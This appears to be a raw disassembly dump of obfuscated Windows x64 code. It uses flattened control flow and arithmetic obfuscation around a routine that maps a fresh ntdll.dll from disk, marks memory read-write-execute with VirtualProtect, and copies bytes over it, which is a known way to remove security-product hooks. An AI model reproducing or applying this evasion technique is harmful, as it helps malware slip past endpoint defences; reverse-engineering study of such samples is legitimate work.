xor dil, dl
or dil, al
mov r8d, edi
xor r8b, 1
mov al, byte [rsp + 0x3c]
mov ebx, eax
xor bl, 1
mov cl, byte [rsp + 0x38]
xor cl, r9b
xor dl, cl
and dl, cl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
xor al, 1
and cl, bl
or cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
mov edx, r8d
or dl, dil
xor dl, 1
mov ebx, r9d
or bl, cl
mov eax, ebx
xor al, 1
mov r10d, edx
xor r10b, r8b
or dl, r8b
xor dl, 1
or dl, r10b
xor dl, 1
mov esi, r10d
and sil, dl
xor dl, r10b
or dl, sil
and al, bl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
xor al, r9b
mov r10d, ebx
and r10b, r9b
xor bl, r9b
or bl, r10b
mov r9d, ebx
xor r9b, al
xor al, 1
xor r9b, 1
or al, bl
xor al, 1
or al, r9b
mov ebx, edx
xor bl, 1
and bl, dl
mov r9d, eax
xor r9b, 1
and al, r9b
xor bl, 1
mov r10d, edx
xor r10b, bl
or bl, dl
xor bl, 1
or bl, r10b
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor al, bl
mov edx, edi
xor dl, cl
and dl, dil
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov r10d, edx
xor r10b, 1
mov ebx, r10d
or bl, dl
mov r8d, r10d
and r8b, bl
xor bl, 1
mov r9d, r10d
xor r9b, bl
mov eax, r10d
or al, bl
xor r10b, dl
or r10b, bl
and bl, dl
or bl, r8b
xor al, 1
or al, r9b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, r10d
xor cl, 1
mov r8d, ebx
and r8b, r10b
mov r9d, ebx
xor r9b, r10b
or r9b, r8b
mov edx, ebx
and dl, al
and cl, r10b
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, ecx
and cl, r9b
xor r9b, 1
xor al, 1
mov edx, r9d
xor dl, al
and dl, r9b
and al, r9b
or al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
or dl, cl
xor cl, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or al, dl
mov edx, eax
xor dl, 1
mov r8d, eax
and r8b, cl
and dl, bl
or dl, r8b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov r8d, eax
xor r8b, dl
xor dl, 1
xor r8b, 1
or dl, al
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov ecx, r8d
and cl, dl
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor cl, 1
or cl, r9b
mov r9d, ecx
xor r9b, 1
and r9b, al
and cl, bl
or cl, r9b
xor bl, dl
or al, r8b
xor al, 1
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ecx
xor dl, bl
and bl, cl
and dl, cl
xor dl, bl
mov ecx, edx
xor cl, 1
and bl, cl
mov eax, ebx
xor al, 1
xor bl, dl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov r10d, eax
xor r10b, 1
mov ecx, r11d
xor cl, 1
mov esi, r11d
or sil, cl
mov edx, esi
xor dl, 1
mov r14d, ecx
and r14b, r11b
mov ebx, ecx
and bl, r14b
xor r14b, cl
or r14b, bl
mov edi, r14d
xor dil, 1
and dl, dil
mov ecx, r14d
and cl, sil
or cl, dl
mov edx, r11d
and dl, sil
xor sil, r11b
or sil, dl
xor sil, 1
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov ebx, r10d
and bl, al
mov ecx, r10d
and cl, bl
xor r10b, bl
or r10b, cl
mov r9d, r10d
xor r9b, 1
mov r8d, esi
xor r8b, 1
mov edx, r8d
and dl, sil
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
mov ecx, edx
xor cl, 1
mov r11d, ecx
and r11b, dl
xor cl, dl
or cl, r11b
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov r11d, ecx
xor r11b, dl
or dl, cl
xor dl, 1
or dl, r11b
mov ecx, edx
xor cl, 1
mov ebp, r10d
and bpl, r9b
mov r11d, r10d
xor r11b, r9b
or r11b, bpl
xor bl, 1
mov ebp, eax
xor bpl, bl
or bl, al
xor bl, 1
or bl, bpl
mov r15d, ebx
xor r15b, 1
mov eax, r15d
and al, bl
mov ebp, r15d
and bpl, al
xor al, r15b
or al, bpl
mov ebp, r11d
xor bpl, 1
xor al, 1
or r15b, bl
xor r15b, 1
mov ebx, eax
and bl, r15b
xor r15b, al
or r15b, bl
mov ebx, r15d
xor bl, 1
mov eax, ecx
xor al, r14b
and r14b, dl
or dl, dil
xor dl, 1
or dl, al
and cl, dil
or cl, r14b
mov edi, ecx
xor dil, 1
and cl, dil
mov eax, edi
and al, cl
xor cl, dil
or cl, al
xor cl, dl
mov eax, edx
and al, dil
xor dil, dl
or dil, al
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov edx, ebp
or dl, r11b
mov r14d, edx
xor r14b, 1
mov ecx, r15d
or cl, bl
mov eax, ebp
or al, dl
xor al, 1
and r14b, bpl
and dl, r11b
or dl, r14b
mov r14d, eax
and r14b, dl
xor dl, al
or dl, r14b
mov r14d, ebx
or r14b, cl
xor cl, bl
mov eax, r14d
xor al, cl
xor cl, 1
or cl, r14b
xor al, 1
xor cl, 1
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
xor al, 1
and al, cl
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
and r15b, bpl
or bpl, bl
xor bpl, 1
and bl, r11b
or bl, r15b
mov eax, ebp
and al, bl
xor bl, bpl
or bl, al
mov eax, ebx
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
or cl, bl
and bl, dl
or bl, al
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov r11d, edi
xor r11b, 1
mov edx, r11d
and dl, dil
mov eax, r11d
xor al, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, al
mov ebp, ebx
xor bpl, 1
xor dl, 1
mov ecx, ebp
and cl, dl
xor dl, bpl
or dl, cl
and bpl, dil
and bl, r11b
or bpl, bl
mov ecx, edx
xor cl, 1
xor bpl, 1
or bpl, r11b
mov eax, ebp
xor al, 1
and al, dl
or dl, bpl
and bpl, cl
xor dl, 1
or bpl, al
mov eax, edx
and al, bpl
xor bpl, dl
or bpl, al
xor r9b, sil
xor r9b, 1
or r9b, r8b
mov eax, r10d
xor al, sil
and r10b, al
and al, sil
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov edx, eax
xor dl, 1
xor al, r9b
xor al, 1
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r8d, edx
xor r8b, 1
mov eax, edx
or al, r8b
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov r9d, ecx
xor r9b, al
or cl, al
xor cl, 1
or cl, r9b
mov r9d, ecx
and r9b, dl
xor cl, 1
and cl, r8b
or cl, r9b
xor al, dl
or bl, r8b
xor bl, 1
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebp
xor cl, 1
mov edx, ecx
mov ebx, ebp
or bl, al
and cl, al
xor al, 1
xor dl, al
xor bl, 1
or bl, dl
and al, bpl
mov edx, ebx
xor dl, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x2a0e2c08
mov edx, 0xc32c7d3d
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0x2a0e2c08
cmovne ecx, edx
test bl, 1
jmp 0x14001f962
mov rax, qword [rsp + 0x158]
mov rax, qword [rsp + 0x168]
movzx eax, word [rsp + 0x18a]
mov ecx, 0x6edac19e
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
lea r8, [rsp + 0xf8]
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, 0xe3f24948
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov ecx, 0xdc267f81
mov dword [rsp + 0x58], 0
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov ecx, 0xdb67d42
mov dword [rsp + 0x5c], 1
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov rcx, qword [rsp + 0x110]
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rax
call rax
mov rcx, qword [rsp + 0x130]
call rsi
mov rcx, qword [rsp + 0x138]
call rsi
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0x9eab6854
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov dword [rsp + 0xf4], 0
mov r15, qword [rsp + 0x178]
mov edx, dword [r15 + 8]
mov r14, qword [rsp + 0x178]
mov eax, dword [r14 + 0xc]
mov rcx, qword [rsp + 0x150]
movabs rbp, 0xebcd4ad67cb3f08d
add rcx, rbp
movabs rbx, 0x50a8d7d72cfd70df
sub rcx, rbx
sub rcx, rbp
movabs rbp, 0xfbf2715aeb134b32
add rcx, rbp
movabs rsi, 0xc11af98f99c9041
add rcx, rsi
sub rbp, rcx
sub rbp, rbx
movabs rcx, 0x75ec1f428ee87571
mov rbx, rcx
sub rbp, rcx
movabs rcx, 0xb63fc9a9ca8f33a
mov rdi, rcx
add rbp, rcx
movabs rcx, 0x8fcf5189aae98737
sub rcx, rbp
add rcx, rdi
movabs rbp, 0x8726ab9f8c3855fa
sub rcx, rbp
sub rcx, rbx
movabs rbx, 0x7c782443bd7e44ce
sub rcx, rbx
add rcx, rbp
movabs rbp, 0xa83ed756ae98a559
mov rdi, rbp
add rcx, rbp
mov rbp, rsi
sub rbp, rcx
add rbp, rdi
sub rbp, rbx
movabs rcx, 0xc56c556e49a4b937
add rbp, rcx
movabs rbx, 0x70383238cf73a13d
add rbp, rbx
sub rcx, rbp
movabs rbp, 0xca528bfc7b1bac8
add rcx, rbp
movabs rdi, 0xeaf553d9f73dd184
sub rcx, rdi
sub rcx, rbp
movabs rbp, 0x1c9f1291039e8b2
sub rcx, rbp
add rcx, rbx
add rcx, rbp
movabs rbp, 0x8a9f10c979e51ba7
sub rcx, rbp
movabs rbx, 0x89b8974e40b50e5a
mov r8, rbx
add rcx, rbx
add rcx, rbp
movabs rbp, 0xce947173f3679af6
add rcx, rbp
movabs rsi, 0xe70b684ccb844f2c
sub rcx, rsi
sub rcx, rbp
movabs rbp, 0xc6b7623f3add764c
sub rcx, rbp
add rcx, rdi
add rcx, rbp
movabs rbp, 0x999aa9f1ef6b7e0b
sub rcx, rbp
add rcx, rsi
add rcx, rbp
movabs rbp, 0xb2ecadd4d055f13b
sub rcx, rbp
movabs rdi, 0xca62584852f313e8
sub rcx, rdi
add rcx, rbp
movabs rbp, 0xb10935128608c31c
mov rsi, rbp
add rcx, rbp
movabs rbp, 0xd3bbba7f239a011b
add rcx, rbp
add rcx, rdi
sub rbp, rcx
add rbp, rsi
movabs rcx, 0x8c92fb3398532d26
add rbp, rcx
sub rcx, rbp
movabs rbp, 0x7030ae76551678c9
add rcx, rbp
movabs rsi, 0x4e2b9f5c0b9b5d3f
mov rbp, rsi
movabs rdi, 0x9d63a3b7c13248bb
sub rbp, rdi
add rcx, rsi
movabs rsi, 0xc6285ac3e8af4625
add rbp, rsi
sub rcx, rbp
movabs rbp, 0x6f32b73703a8b4e5
sub rax, rbp
add rax, rcx
add rax, rsi
add rax, rbp
movabs rcx, 0x1b2e13e31941f0f9
add rax, rcx
movabs rsi, 0xd6eeba38cb36245b
mov rbp, rsi
sub rbp, rax
add rbp, rdi
add rbp, rcx
mov rcx, rsi
sub rcx, rbp
movabs rsi, 0xf901cece0dea04ff
mov rax, rsi
movabs rbp, 0x4a1087714e2a40dc
mov rdi, rbp
sub rax, rbp
sub rax, rsi
movabs rbp, 0x720e9e10967a66e2
mov rsi, rbp
add rax, rbp
movabs rbx, 0x2064751a9490450b
mov rbp, rbx
sub rbp, rax
add rbp, rsi
sub rbp, rdi
movabs rax, 0xec886c5b4b5451f5
mov rdi, rax
sub rbp, rax
movabs rax, 0x9713f1b5ed249255
add rbp, rax
add rbp, r8
sub rax, rbp
movabs rbp, 0x69645a3b203c31ef
add rax, rbp
sub rax, rdi
sub rax, rbp
movabs rbp, 0xe03f0926fdbca3d
sub rax, rbp
movabs rdi, 0x65710da208590c95
sub rax, rdi
add rax, rbp
movabs rbp, 0x3efd581ea15cfdd5
add rax, rbp
add rax, rbx
sub rax, rbp
movabs rbp, 0x63ce603e65c512e8
add rcx, rbp
movabs rbx, 0x18c6d5a29f35b48f
add rcx, rbx
movabs rsi, 0xc7d421042072114c
add rcx, rsi
sub rcx, rbx
movabs rbx, 0xbc15541019a275b7
add rcx, rbx
sub rcx, rbp
sub rcx, rbx
movabs rbp, 0xad867e26600ebd0d
sub rcx, rbp
add rcx, rax
add rcx, rdi
movabs rax, 0x666620524d50154d
add rcx, rax
add rcx, rbp
sub rcx, rax
movabs rax, 0xa2003ed7f344af8f
sub rcx, rax
movabs rbp, 0x675696578e4326df
add rcx, rbp
add rcx, rax
movabs rax, 0xb9ac5b452e38d3bf
add rcx, rax
sub rcx, rsi
sub rcx, rax
movabs rax, 0xb0c321e20a18e48f
sub rcx, rax
sub rcx, rbp
add rcx, rax
mov r8d, 0x40
lea r13, [rsp + 0xf4]
mov r9, r13
mov rsi, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rsi
mov r10d, dword [r14 + 0xc]
mov rcx, qword [rsp + 0x150]
movabs rdx, 0x332e9291843859de
add rcx, rdx
movabs rbp, 0xcd4d3ff736428d0
sub rcx, rbp
sub rcx, rdx
movabs rdx, 0x94e9819d6728fe9
sub rcx, rdx
movabs rbx, 0x7513624578946ff
sub rcx, rbx
movabs rsi, 0xe2b5aaf1f0862c3d
add rcx, rsi
add rcx, rdx
movabs rdx, 0x90e9652777e17e77
add rcx, rdx
add rcx, rbp
sub rcx, rdx
movabs rdx, 0xfe6b970d1291ed2c
add rcx, rdx
movabs rbp, 0x580f7f668137e55f
add rcx, rbp
sub rcx, rdx
sub rcx, rsi
sub rcx, rbp
movabs rdx, 0xc6f9d7cc417ea0a5
add rcx, rdx
movabs rbp, 0x4a241cabdf5bd395
add rcx, rbp
movabs rsi, 0xe45ba13e66713474
sub rcx, rsi
sub rcx, rbp
movabs rbp, 0x2b5775bec3dd83e9
add rcx, rbp
sub rcx, rdx
sub rcx, rbp
movabs rdx, 0x2bfc537956edc06f
mov rbp, rdx
add rcx, rdx
movabs rdi, 0xed4074a7ed16dc59
mov rdx, rdi
sub rdx, rcx
add rdx, rbp
movabs r12, 0x8af1d459d59c0da6
sub rdx, r12
sub rdx, rdi
movabs rbp, 0x6e5278b4632411c8
mov rcx, rbp
sub rcx, rsi
sub rcx, rbp
movabs rbp, 0x7db5104ec549bf61
sub rdx, rbp
add rdx, rcx
add rdx, rbp
movabs rcx, 0x88b8318c2dfd6b28
add rdx, rcx
movabs rbp, 0xfb56035d4cd6d30b
add rdx, rbp
sub rcx, rdx
add rcx, rbx
movabs rdx, 0x3bf10b89a4afa157
mov rbx, rdx
add rcx, rdx
add rcx, rbp
movabs rdx, 0x34ea290f4fd1ec9
mov rdi, rdx
movabs rbp, 0xf9d2fb1c89d74361
add rdx, rbp
sub rbp, rdx
movabs rdx, 0x22e7d3b3e5ab4c57
add rbp, rdx
movabs rsi, 0x1408fdc185de18ac
sub rbp, rsi
sub rbp, rdx
add rbp, rdi
movabs rdx, 0x56c3771d56910920
add rbp, rdx
movabs rdi, 0xf3b4c1bda6339666
sub rbp, rdi
add rbp, rbx
add rcx, rdx
sub rbp, rcx
movabs rcx, 0xb28d10f2645e0627
sub rbp, rcx
add rbp, rdi
add rbp, rcx
movabs rcx, 0x3239295141a3dbc9
add rbp, rcx
movabs rbx, 0xeb20cab9eab3b9c7
mov rdx, rbx
sub rdx, rbp
add rdx, rcx
sub rdx, rsi
sub rdx, rbx
mov rcx, qword [rsp + 0xe8]
sub rcx, r10
movabs rbp, 0xa79df96bc8ff060f
add rcx, rbp
movabs rbp, 0x401b9cebf385e5dc
add rcx, rbp
movabs rbx, 0x4e7a0f7904424dcb
sub rcx, rbx
movabs rbx, 0xa660efc8c7b7bdcc
sub rcx, rbx
sub rcx, rbp
add rcx, rbx
movabs rbp, 0xd74952b7bf59fef9
add rdx, rbp
movabs rbx, 0x46bdce8f90cc151d
add rdx, rbx
sub rbp, rdx
movabs rdx, 0xcca6152f0f895867
add rbp, rdx
movabs rdi, 0x20476cce0d00c749
sub rbp, rdi
sub rbp, rdx
movabs rdx, 0x9f8695749eb859d4
add rbp, rdx
add rbp, rbx
sub rdx, rbp
movabs rbp, 0x2ec27105b929d4ce
sub rdx, rbp
sub rdx, rcx
add rdx, rbp
movabs rcx, 0x9ae6031a30cf9f5d
add rdx, rcx
sub rcx, rdx
movabs rdx, 0x5ed35804251d0dde
add rcx, rdx
movabs rbp, 0xad125234c552f1dd
add rcx, rbp
movabs rbp, 0x68d916c58f7bccb0
add rcx, rbp
movabs rbp, 0xa028ba538b8aaad7
add rcx, rbp
sub rdx, rcx
movabs rcx, 0x6c2940c8e7ee6b29
add rdx, rcx
add rdx, rbp
sub rdx, rcx
movabs rdi, 0x95ee9bcfca814b77
add rdx, rdi
mov rbp, qword [rsp + 0x98]
sub rbp, rdx
movabs rcx, 0xefee001d1eb1746a
mov rdx, rcx
add rbp, rcx
movabs rcx, 0x47e26d02dcf1338f
add rcx, rdx
sub rcx, rbp
movabs rdx, 0xeca10d3d60afd434
mov rbx, rdx
movabs rbp, 0x90d1f3e76d560cc1
add rdx, rbp
sub rbp, rdx
movabs rdx, 0xf584febdec80612d
sub rbp, rdx
sub rbp, qword [rsp + 0x148]
add rbp, rdx
movabs rdx, 0x3046821e8080e75c
sub rbp, rdx
add rbp, rbx
add rbp, rdx
movabs rdx, 0xf15de86f76803630
mov rbx, rdx
add rbp, rdx
mov rdx, qword [rsp + 0xe0]
sub rdx, rbp
add rdx, rbx
movabs rbp, 0xe4aa98f7ff7f158e
add rdx, rbp
movabs rbx, 0x27bf3712c4434c1c
sub rdx, rbx
movabs rsi, 0xafa3f14322365000
sub rdx, rsi
sub rdx, rbp
add rdx, rsi
movabs rbp, 0x935ad7ea21cb5143
add rdx, rbp
movabs r9, 0xf2a995c11682b888
add rdx, r9
movabs rsi, 0xd38e5a5b018f41fd
sub rdx, rsi
sub rdx, rbp
add rdx, rsi
movabs rbp, 0x574fd177cffa2533
sub rdx, rbp
movabs rsi, 0xa58ccb31b98c7563
sub rdx, rsi
add rdx, rbp
add rdx, rbx
add rdx, rsi
movabs rbp, 0xeac18243a1c2df05
add rdx, rbp
movabs rax, 0xa9ea3693de479ad3
mov rbp, rax
sub rbp, rdx
movabs r11, 0x64da74267a06582e
movabs rdx, 0xa2082199231cb734
lea rbx, [rdx + r11]
sub rdx, rbx
movabs rbx, 0x3bea8330e4fb4bf1
add rbp, rbx
movabs rbx, 0x7edb2cc0aa7dd022
add rbp, rbx
movabs r8, 0xdaf89eac7338fb9
add rdx, r8
sub rdx, r10
sub rax, rbp
movabs rbp, 0x8409dc6e4305da6
sub rcx, rbp
movabs rbx, 0x26be6f086d3c6151
sub rcx, rbx
movabs rsi, 0x57147fd8329ce41d
add rcx, rsi
add rcx, rbp
movabs rbp, 0xb70e5fce26b9c3e0
sub rcx, rbp
sub rcx, rsi
add rcx, rbp
movabs rbp, 0x1f22a99a5c00ce4e
sub rcx, rbp
movabs rsi, 0xc3783e0b87a0324f
sub rcx, rsi
sub rcx, rdi
add rcx, rbp
add rcx, rsi
movabs rbp, 0xd15397fcf1985357
sub rcx, rbp
movabs rdi, 0xe9c1b527abe7d191
sub rcx, rdi
movabs rsi, 0x92f849d289367d48
sub rcx, rsi
add rcx, rdi
add rcx, rbp
movabs rbp, 0x195ee27ce8950d4f
add rcx, rbp
sub rcx, r12
movabs rdi, 0xd3e74c3f2ab3e1d2
add rcx, rdi
sub rcx, rbp
sub rcx, rdi
movabs rbp, 0x3a19a0ad0696a29f
sub rcx, rbp
movabs rdi, 0xf5dfce6ec97e19da
sub rcx, rdi
add rcx, rbp
movabs rbp, 0x32f8a68685c3642a
sub rcx, rbp
add rcx, rsi
add rcx, rbp
movabs rbp, 0x4084f2361c857fa6
add rcx, rbp
add rcx, rdi
sub rcx, rbp
movabs rbp, 0x4eb944952a1ffdcd
sub rcx, rbp
movabs rdi, 0xb1d483436e68a1f3
sub rcx, rdi
movabs rsi, 0x8de65fcbc4c24e1
add rcx, rsi
add rcx, rbp
sub rcx, rsi
movabs rbp, 0xf34102268d81fc42
add rcx, rbp
movabs rsi, 0xbacd32fc44fab7a2
sub rcx, rsi
sub rcx, rbp
add rcx, rbx
add rcx, rsi
movabs rbp, 0xaf0125e18ddb308a
add rcx, rbp
add rcx, rdi
sub rcx, rbp
sub rdx, r8
movabs rbp, 0xb300d177af121043
add rdx, rbp
add rdx, r11
add rax, rbp
movabs rbp, 0x40ecf7ba86a2da7c
add rdx, rbp
sub rax, rdx
movabs rdi, 0xfb90750b8eba3e2a
mov rdx, rdi
movabs rbx, 0x6b991956b25dd3e9
sub rdx, rbx
sub rdx, rdi
add rdx, rax
add rdx, rbp
movabs rax, 0x161b90aa8a50806b
add rdx, rax
add rdx, rbx
sub rdx, rax
movabs rax, 0x16dc10761828915
mov rbp, rax
add rdx, rax
mov rax, r9
movabs rbx, 0x7b770eafa7f5d2ce
sub rax, rbx
sub rax, rdx
add rax, rbp
movabs rdx, 0xbb76f7c163c1ef
add rax, rdx
add rax, rbx
sub rdx, rax
movabs rax, 0x2f9c6f8a1baedd65
mov rbp, rax
add rdx, rax
movabs rdi, 0x22aa778005efdbab
mov rax, rdi
movabs rbx, 0xc8284a17f4ad03cf
sub rax, rbx
sub rax, rdi
sub rax, rdx
add rax, rbp
movabs rdx, 0xedb6b39fc92fe5a
add rax, rdx
movabs rdx, 0xb8bb090875cbce15
mov rbp, rdx
add rax, rdx
mov rdx, qword [rsp + 0xd8]
sub rdx, rax
add rdx, rbp
movabs rax, 0xf7446da10b4be6cb
sub rdx, rax
movabs rbp, 0x7efc9054de105bdf
add rdx, rbp
add rdx, rax
movabs rax, 0x63a83fde63540727
sub rdx, rax
sub rdx, rbx
add rdx, rax
movabs rax, 0xd2fb7d3280737dab
add rdx, rax
sub rdx, rbp
sub rdx, rax
mov r8d, dword [r15 + 8]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0xf4]
mov edx, dword [r15 + 8]
mov r9d, dword [r14 + 0xc]
movabs rcx, 0x1c9cf3bd1c05feca
mov rbx, rcx
movabs rbp, 0xbc66ed11c1248d23
add rcx, rbp
sub rbp, rcx
movabs rdi, 0x6ef6ccb14327684c
add rbp, rdi
movabs rcx, 0xd80b71eff59887ab
mov rsi, rcx
add rbp, rcx
movabs rcx, 0x6c819e9be526766c
add rbp, rcx
mov rcx, rdi
sub rcx, rbp
movabs rbp, 0xe50bc3d82b06c747
add rcx, rbp
add rcx, rsi
sub rcx, rbp
movabs rbp, 0xad72e7cf94cb8cb3
sub rcx, rbp
movabs rdi, 0xe643f64e4c3b1e19
add rcx, rdi
add rcx, rbp
movabs rbp, 0x15d0a260b3287861
add rcx, rbp
sub rcx, rbx
sub rcx, rbp
movabs rbp, 0xd18de7d0728450d5
sub rcx, rbp
sub rcx, rdi
add rcx, rbp
mov rbp, qword [rsp + 0x150]
movabs rbx, 0xbe9e9b3f9dc3dc82
mov r10, rbx
add rbp, rbx
movabs rbx, 0xede74a6cc48068cf
add rbp, rbx
sub rbx, rbp
movabs rbp, 0xd51fedd57bffa585
mov rax, rbp
movabs rbp, 0x8ceb35af8bf48cc6
mov rdi, rbp
add rbp, rax
sub rbp, rcx
movabs rcx, 0x5225494ea143e0aa
mov rsi, rcx
sub rbx, rcx
sub rbp, rax
movabs rcx, 0x4ff033d137470fbc
add rbp, rcx
sub rbp, rdi
add rbp, rbx
add rbp, r10
movabs rax, 0x99a940aaf96c27cf
sub rcx, rax
add rbp, rsi
sub rcx, rbp
add rcx, rax
movabs rax, 0x47dbe67f0cb0366b
sub rcx, rax
movabs rbp, 0xcabdd196cb42bba
add rcx, rbp
add rcx, rax
sub rcx, rbp
movabs rbx, 0x8db0fd0a89bc850b
mov rbp, rbx
movabs rax, 0xa73e86196d186273
sub rbp, rax
sub rbp, rbx
movabs rbx, 0x46573c61f95d21b6
sub rbp, rbx
movabs rdi, 0xb856129dd54476d3
sub rbp, rdi
add rbp, rbx
movabs rbx, 0x6a2db69c02c61326
sub rcx, rbx
movabs rsi, 0x6d78b96aeb6e9fd8
sub rcx, rsi
add rcx, rbx
movabs rbx, 0x610d97ea9ff2e16e
sub rcx, rbx
add rbp, rax
sub rcx, rbp
add rcx, rbx
add rcx, rsi
movabs rax, 0xcf02be45e9e99148
sub rcx, rax
add rcx, r9
add rcx, rax
movabs rax, 0x6b4f6f63ee62633e
add rcx, rax
movabs rbp, 0xdaffcd300cb4215b
add rcx, rbp
add rbp, rax
sub rbp, rcx
movabs rax, 0x16e8b01511b24322
add rbp, rax
movabs rcx, 0x8f527fafdd8a5ed6
add rax, rcx
movabs rbx, 0xea9e5b86e3194e4
add rbp, rbx
sub rax, rbp
add rax, rbx
movabs rbp, 0x39f8c07b94174557
sub rax, rbp
sub rax, rcx
add rax, rbp
movabs rbp, 0x4817bb0e0d645560
movabs rcx, 0xa749d7b342801251
mov rbx, rcx
add rcx, rbp
movabs rsi, 0xeac5174b98f35bd0
sub rax, rsi
sub rax, rcx
add rax, rbx
add rax, rsi
movabs rcx, 0xa3b18077e40c2736
add rax, rcx
movabs rbx, 0x3236799a965701f2
sub rax, rbx
sub rax, rcx
movabs rcx, 0x56303ec59cbe725e
sub rax, rcx
sub rax, rdi
add rax, rcx
movabs rcx, 0xa8ad3334054e9bcd
add rax, rcx
add rax, rbx
sub rax, rcx
movabs rcx, 0xe3e24f5124e5c5e8
add rax, rcx
movabs rbx, 0x8442461dc8191340
add rax, rbx
sub rax, rcx
movabs rcx, 0xefed7e4cd320f8ad
sub rax, rcx
sub rax, rbx
add rax, rbp
add rax, rcx
movabs rbx, 0xe721552b6903773
mov rbp, rbx
movabs rcx, 0x536572b4f3a8e90e
sub rbp, rcx
sub rbp, rbx
movabs rbx, 0x8158bd115b881aa5
add rbp, rbx
movabs rdi, 0x66e79d6a2eaf78a0
sub rbp, rdi
sub rbp, rbx
sub rbp, rax
add rbp, rdi
movabs rax, 0x8e8aa8722327fc5b
sub rbp, rax
movabs rbx, 0xc48c9d715d068433
add rbp, rbx
add rbp, rax
movabs rax, 0x45d0650f99e646b9
sub rbp, rax
sub rbp, rbx
add rbp, rcx
add rbp, rax
movabs rax, 0x2984d454d9d22daa
add rbp, rax
movabs rcx, 0x348f750bbcb53234
sub rbp, rcx
sub rbp, rax
sub rbp, qword [rsp + 0xd0]
movabs rax, 0xf850fc9bb2c309d2
sub rbp, rax
add rbp, rcx
add rbp, rax
mov rcx, qword [rsp + 0xc8]
sub rcx, rbp
movabs rax, 0xf9888b096dd627c5
sub rcx, rax
movabs rax, 0x982f3e953c016527
mov rbp, rax
add rcx, rax
movabs rax, 0xc773f623cfa75d0b
